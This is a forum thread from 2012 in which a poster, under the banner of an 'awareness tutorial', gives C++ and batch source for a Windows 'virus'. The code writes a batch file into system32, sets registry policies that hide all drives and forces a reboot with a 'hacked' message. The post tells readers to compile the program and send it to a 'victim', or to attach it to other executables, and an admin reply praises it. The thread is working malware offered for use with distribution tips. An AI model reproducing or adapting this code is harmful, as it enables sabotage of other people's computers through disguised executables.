Author Topic: Beware! C++ ,Batch Virus code to disable All Hard disk  (Read 966 times)

0 Members and 1 Guest are viewing this topic.

dspacedude

  • Guest
Beware! C++ ,Batch Virus code to disable All Hard disk
« on: July 15, 2012, 09:33:42 PM »
This is an awareness tutorial on how to let you know about a dangerous batch virus. Actually Batch code is converted to C++ virus code.  If you like you can use it as batch code also.
Dev++ is a more recommend option to for c++ coding.


Code: newbielink:javascript:void(0); [nonactive]
C++ Virus Code :

#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\h*ckingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is h*cked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\h*ckingStar.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; }


Copy the above code and paste in notepad
Save the file with .cpp extension
Compile and create .exe file in cpp
Note:
Don't run this c++ program ,it will attack your system itself.
Copy the created .exe file and send it to your victim. You can also attach it with any other
exe files.


Batch Virus Code Creation:

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is h*cked by us!\" -f

I think this code will be simple for non c++ programmers. It is easy to create the batch file also.
Copy the above code to notepad.
Save it with .bat extension (for ex: nodrivevirus.bat)
Send the file to your victim
« Last Edit: July 15, 2012, 10:03:51 PM by obasimiracle »

Offline ebenzunlimited

  • Lead Admin
  • *****
Re: Beware! C++ ,Batch Virus code to disable All Hard disk
« Reply #1 on: July 15, 2012, 09:47:55 PM »
Nice post dude, Download Dev++ from here.
Insane I Lived♥ Sane I Died♥<img src='http://i253.photobucket.com/albums/hh74/reallytired2/family%20pictures/buckeye%20stuff/clap.gif' />

 

* Newest Techies

Inside: 3P Techies Blog

Get Updates


Sign up to get latest updates delivered to your inbox. No Spam, We Promise!


Copyright 3rd Planet Techies. All rights Reserved.

Top || Mobile || Privacy